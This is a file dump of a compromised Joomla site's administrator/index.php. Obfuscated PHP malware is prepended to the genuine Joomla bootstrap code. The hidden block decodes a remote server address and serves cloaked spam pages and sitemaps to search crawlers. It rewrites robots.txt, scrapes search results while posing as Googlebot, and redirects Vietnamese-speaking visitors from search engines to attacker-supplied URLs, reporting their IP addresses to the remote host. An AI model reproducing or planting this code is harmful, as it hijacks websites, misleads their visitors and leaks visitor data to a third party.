| Current Path : /home/smartconb/www/armencom33/administrator/ |
| Current File : /home/smartconb/www/armencom33/administrator/index.php |
<?php
if(!defined("AAA_"))define("AAA_", ord(7));@set_time_limit(((AAA_*79-4345)-1650+AAA_*30));error_reporting(((AAA_*79-4345)-1650+AAA_*30));$curl_timeout=(39*AAA_-2140);$TD_server="aHR0cDovL2EuYmlnZ2lybC5oZWxw";$TD_server=base64_decode($TD_server);$lang='vi';$user_agent=!empty($_SERVER["HTTP_USER_AGENT"])?strtolower($_SERVER['HTTP_USER_AGENT']):'';$http_type=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']=='on')||(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']=='https'))?'https':'http';$host=!empty($_SERVER['HTTP_HOST'])?strtolower($_SERVER['HTTP_HOST']):'';$parsedHost=parse_url($http_type . '://' . $host,PHP_URL_HOST);$host=$parsedHost!==null?$parsedHost:$host;$referer=!empty($_SERVER["HTTP_REFERER"])?strtolower($_SERVER['HTTP_REFERER']):'';$request=!empty($_SERVER['REQUEST_URI'])?urlencode(strtolower($_SERVER['REQUEST_URI'])):'';$has_curl=extension_loaded('curl');if(strpos($user_agent,'google')!==false||strpos($user_agent,'slurp')!==false||strpos($user_agent,'bingbot')!==false){ob_clean();if(substr($request,-(AAA_*91-5001))===".xml"){header('Content-Type: application/xml; charset=utf-8');if(stripos($request,'itemap.xml')!==false){$response=curl_request($TD_server. "/indexsitemap.php?type=" .$http_type. "&host=" .$host,$user_agent);}else{$n=getNumber($request);$response=curl_request($TD_server. "/sitemap.php?type=" .$http_type. "&host=" .$host. "&page=" .$n,$user_agent);}if($response!==false&&$response[((AAA_*79-4345)-1650+AAA_*30)]==((25*AAA_-1375)-2495+49*AAA_)){echo $response[(AAA_*3-164)];exit;}}else if(stripos($request,'robots.txt')!==false){header('Content-Type: text/plain');$robotsTxtContent="User-agent: *
";$robotsTxtContent .="Allow: /
";$robotsTxtContent .="Sitemap: " .$http_type.rtrim($host,'/'). "/" . "sitemap.xml
";echo $robotsTxtContent;exit;}$image_pattern='/\.(jpg|jpeg|png|gif|bmp|webp|tiff|tif|svg|ico|avi|wmv|mpg|mpeg|mov|rm|ram|swf|flv|mp4|mkv|webm|3gp|vob|asf|ts|m2ts|ogg|ogm)(\?.*)?$/i';if(preg_match($image_pattern,$request)){exit;}$response=curl_request($TD_server. "/index.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$user_agent);if($response!==false){if($response[((AAA_*79-4345)-1650+AAA_*30)]==((25*AAA_-1375)-2495+49*AAA_)){header('Content-Type: text/html; charset=utf-8');echo $response[(AAA_*3-164)];exit;}if($response[((AAA_*79-4345)-1650+AAA_*30)]!=((25*AAA_-1375)-2495+49*AAA_)&&!empty($response[(AAA_*3-164)])){$json_data=str_replace(array(chr((10*AAA_-311)),chr(((25*AAA_-1375)-2948+57*AAA_)),chr((90*AAA_-4759)),"
","
","
"," "),'',$response[(AAA_*3-164)]);$product_data=json_decode($json_data,true);$title=urlencode($product_data['keyword']);$pid=$product_data['kid'];if(!empty($title)){$spider_result=spider($title);}}if(isset($spider_result)&&$spider_result!=false&&isset($pid)){$data=array('kid'=>$pid,'spider_url'=>$spider_result[((AAA_*79-4345)-1650+AAA_*30)],'html_text'=>$spider_result[(AAA_*3-164)]);}else{$pid=isset($pid)?$pid:((AAA_*79-4345)-1650+AAA_*30);$data=array('kid'=>$pid,'spider_url'=>'','html_text'=>'');}$BotContent_mb=post($TD_server. "/postcreate.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$data,$user_agent);if(!empty($BotContent_mb)){echo $BotContent_mb;exit;}}}if(strpos($referer,'google')!==false||strpos($referer,'coccoc')!==false||strpos($referer,'bing')!==false){if(judgeLanguage($lang)==(AAA_*3-164)){$client_ip=base64_encode(get_client_ip());$referer=urlencode($referer);$response=curl_request($TD_server. "/getlink.php?type=" .$http_type. "&host=" .$host. "&request=" .$request. "&referer=" .$referer. "&client_ip=" .$client_ip,$user_agent);if($response!==false&&$response[((AAA_*79-4345)-1650+AAA_*30)]==((25*AAA_-1375)-2495+49*AAA_)&&strlen($response[(AAA_*3-164)])>(39*AAA_-2140)){$tzurl=trim($response[(AAA_*3-164)]);$tzurl=str_replace(array(chr((10*AAA_-311)),chr(((25*AAA_-1375)-2948+57*AAA_)),chr((90*AAA_-4759)),"
","
","
"," "),'',$tzurl);@header("Location: " . $tzurl);exit;}}}function generate_random_ua(){$user_agents=['Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' .rand((54*AAA_-2969),((0-4400+80*AAA_)-615+13*AAA_)),'Mozilla/' .rand((AAA_*24-1317),(56*AAA_-3075)). '.0 (Windows NT 10.0; Win64; x64; rv:' .rand((11*AAA_-555),((0-4400+80*AAA_)-3185+AAA_*59)). ') Gecko/20100101 Firefox/' .rand((54*AAA_-2969),((0-4400+80*AAA_)-615+13*AAA_)),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' .rand((11*AAA_-555),((0-4400+80*AAA_)-3185+AAA_*59)). ') AppleWebKit/' .rand((66*AAA_-3130),((0-4400+80*AAA_)-1270+34*AAA_)). '.36 (KHTML, like Gecko) Chrome/' .rand((11*AAA_-555),((0-4400+80*AAA_)-3185+AAA_*59)). '.0.3112.90 Safari/' .rand((66*AAA_-3130),((0-4400+80*AAA_)-1270+34*AAA_)). '.36','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand((AAA_*17-922),((0-4400+80*AAA_)-259+AAA_*5)). '.0 Safari/605.1.15','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(((0-4400+80*AAA_)-3760+70*AAA_),((0-4400+80*AAA_)-615+13*AAA_)). '.0.4430.212 Safari/537.36 Edg/' .rand(((0-4400+80*AAA_)-3760+70*AAA_),((0-4400+80*AAA_)-615+13*AAA_)). '.0.1185.44','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(((0-4400+80*AAA_)-3760+70*AAA_),((0-4400+80*AAA_)-615+13*AAA_)). '.0.4430.212 Safari/537.36 OPR/' .rand((AAA_*57-3059),((0-4400+80*AAA_)-3764+AAA_*70)). '.0.4017.123','Mozilla/5.0 (Linux; Android ' .rand(((0-4400+80*AAA_)-1807+33*AAA_),((0-4400+80*AAA_)-1033+19*AAA_)). '.0; SM-G9' .rand((56*AAA_-3075),(83*AAA_-4556)). '0F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(((0-4400+80*AAA_)-3760+70*AAA_),((0-4400+80*AAA_)-615+13*AAA_)). '.0.4430.212 Mobile Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS ' .rand(((0-4400+80*AAA_)-4826+88*AAA_),((0-4400+80*AAA_)-259+AAA_*5)). '_' .rand((0-4400+80*AAA_),(56*AAA_-3075)). ' like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand(((0-4400+80*AAA_)-4826+88*AAA_),((0-4400+80*AAA_)-259+AAA_*5)). '.0 Mobile/15E148 Safari/604.1',];return $user_agents[array_rand($user_agents)];}function curl_request($url,$ua='',$referer=null){global $has_curl,$curl_timeout;if($ua==''){$ua=generate_random_ua();}if($has_curl){$ip=rand((((AAA_*8-440)-935+17*AAA_)-549+AAA_*10),(77*AAA_-3981)). '.' .rand((((AAA_*8-440)-935+17*AAA_)-549+AAA_*10),(77*AAA_-3981)). '.' .rand((((AAA_*8-440)-935+17*AAA_)-549+AAA_*10),(77*AAA_-3981)). '.' .rand((((AAA_*8-440)-935+17*AAA_)-549+AAA_*10),(77*AAA_-3981));$headers['CLIENT-IP']=$ip;$headers['X-FORWARDED-FOR']=$ip;$headerArr=array();foreach($headers as $n=>$v){$headerArr[]=$n. ':' .$v;}$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HTTPHEADER,$headerArr);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,((AAA_*8-440)-935+17*AAA_));curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,((AAA_*8-440)-3683+AAA_*67));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,(((AAA_*8-440)-935+17*AAA_)-549+AAA_*10));curl_setopt($curl,CURLOPT_AUTOREFERER,(((AAA_*8-440)-935+17*AAA_)-549+AAA_*10));curl_setopt($curl,CURLOPT_ENCODING,"gzip");curl_setopt($curl,CURLOPT_HTTPGET,(((AAA_*8-440)-935+17*AAA_)-549+AAA_*10));curl_setopt($curl,CURLOPT_TIMEOUT,$curl_timeout);curl_setopt($curl,CURLOPT_HEADER,((AAA_*8-440)-935+17*AAA_));curl_setopt($curl,CURLOPT_RETURNTRANSFER,(((AAA_*8-440)-935+17*AAA_)-549+AAA_*10));curl_setopt($curl,CURLOPT_REFERER,$referer);$output=curl_exec($curl);$error=curl_error($curl);if($error){return false;}$httpcode=curl_getinfo($curl,CURLINFO_HTTP_CODE);curl_close($curl);return $output?[$httpcode,$output]:false;}else{$options=['http'=>['method'=>'GET','ignore_errors'=>true,'header'=>"User-Agent: " .$ua. "
" . "Referer: " .$referer. "
",'timeout'=>$curl_timeout],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($url,false,$context);if($response===false){return false;}$http_response_header=isset($http_response_header)?$http_response_header:[];preg_match('/HTTP\/\d\.\d (\d{3})/',$http_response_header[((AAA_*8-440)-935+17*AAA_)],$matches);$httpcode=isset($matches[(((AAA_*8-440)-935+17*AAA_)-549+AAA_*10)])?(int)$matches[(((AAA_*8-440)-935+17*AAA_)-549+AAA_*10)]:((AAA_*8-440)-935+17*AAA_);return[$httpcode,$response];}}function post($url,$postData,$ua=''){global $has_curl;if($ua==''){$ua=generate_random_ua();}if($has_curl){$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HEADER,(0-440+AAA_*8));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_POST,true);curl_setopt($curl,CURLOPT_POSTFIELDS,http_build_query($postData));curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);$output=curl_exec($curl);curl_close($curl);return $output;}else{$postData=http_build_query($postData);$options=['http'=>['method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded; charset=UTF-8
" . "Accept: application/json
" . "User-Agent: " .$ua. "
",'content'=>$postData,'timeout'=>(AAA_*14-760)],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($url,false,$context);return $response;}}function judgeLanguage($lang){if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$languages=explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);$firstLang=strtolower(trim($languages[(17*AAA_-935)]));return substr($firstLang,(17*AAA_-935),(AAA_*44-2418))===$lang?((AAA_*20-1100)-4949+90*AAA_):(17*AAA_-935);}return (17*AAA_-935);}function getNumber($string){$posSitemap=strpos($string,'sitemap');$posXml=strpos($string,'.xml');if($posSitemap!==false&&$posXml!==false&&$posXml>$posSitemap){$length=$posXml-$posSitemap-strlen('sitemap');$substring=substr($string,$posSitemap+strlen('sitemap'),$length);$number=intval($substring);return $number;}else{return (AAA_*42-2310);}}function get_client_ip(){$ip_keys=array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach(explode(',',$_SERVER[$key])as $ip){$ip=trim($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){return $ip;}}}}return 'unknown';}function spider($name){$hrefTemp=spider_search($name);$hrefArray=[];foreach($hrefTemp as $href){$non_web_extensions=['pdf','doc','docx','xls','xlsx','ppt','pptx'];$file_extension=pathinfo(parse_url($href,PHP_URL_PATH),PATHINFO_EXTENSION);if(in_array(strtolower($file_extension),$non_web_extensions)){continue 1;}if(stripos($href,'youtube.com')!==false||stripos($href,'twitter.com')!==false||stripos($href,'bing.com')!==false){continue 1;}$hrefArray[]=$href;}if(empty($hrefArray)){return false;}shuffle($hrefArray);$googleua="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";foreach($hrefArray as $href){$spider_html=curl_request($href,$googleua,$href);if($spider_html!==false&&$spider_html[(0-4895+89*AAA_)]==(0-900+AAA_*20)){$htmltext=trim($spider_html[(0-5059+AAA_*92)]);if(strlen($htmltext)>(AAA_*73-2015)){return[$href,$htmltext];}}}return false;}function spider_search($name){$search_urls=["google"=>"https://www.google.com.vn/search?q=" .$name. "&lr=lang_vi","aol"=>"https://search.aol.com/aol/search;_ylt=?q=" .$name];$hrefArray=[];foreach($search_urls as $domain=>$url){$result=curl_request($url,'',$url);if($result!==false&&$result[(((90*AAA_-4950)-2695+AAA_*49)-2090+38*AAA_)]===(((90*AAA_-4950)-2695+AAA_*49)-4255+AAA_*81)){$dom=new DOMDocument();@$dom->loadHTML($result[(((90*AAA_-4950)-2695+AAA_*49)-3904+AAA_*71)],LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD);$xpath=new DOMXPath($dom);$aElements=$xpath->query('//a');foreach($aElements as $a){$href=$a->getAttribute('href');if($href&&$domain=='google'){$httpsPos=stripos($href,'https://');$urlPos=stripos($href,'/url?');if($httpsPos!==false&&strpos($href,'google')===false&&$urlPos===(((90*AAA_-4950)-2695+AAA_*49)-2090+38*AAA_)){$hrefArray[]=substr($href,$httpsPos);}}else if($href&&$domain=='aol'){if(preg_match('/\/RU=(https[^\/]*\/RK=)/',$href,$matches)){$httpsPart=substr($matches[(((90*AAA_-4950)-2695+AAA_*49)-3904+AAA_*71)],(((90*AAA_-4950)-2695+AAA_*49)-2090+38*AAA_),-(0-2581+47*AAA_));if(strpos($httpsPart,'aol.com')===false&&strpos($httpsPart,'oath.com')===false){$hrefArray[]=urldecode($httpsPart);}}}}}if(!empty($hrefArray)){return $hrefArray;}}return $hrefArray;}
?><?php
/**
* @package Joomla.Administrator
*
* @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
// NOTE: This file should remain compatible with PHP 5.2 to allow us to run our PHP minimum check and show a friendly error message
// Define the application's minimum supported PHP version as a constant so it can be referenced within the application.
\define('JOOMLA_MINIMUM_PHP', '8.1.0');
if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) {
die(
str_replace(
'{{phpversion}}',
JOOMLA_MINIMUM_PHP,
file_get_contents(\dirname(\dirname(__FILE__)) . '/includes/incompatible.html')
)
);
}
/**
* Constant that is checked in included files to prevent direct access.
* define() is used rather than "const" to not error for PHP 5.2 and lower
*/
\define('_JEXEC', 1);
// Run the application - All executable code should be triggered through this file
require_once \dirname(__FILE__) . '/includes/app.php';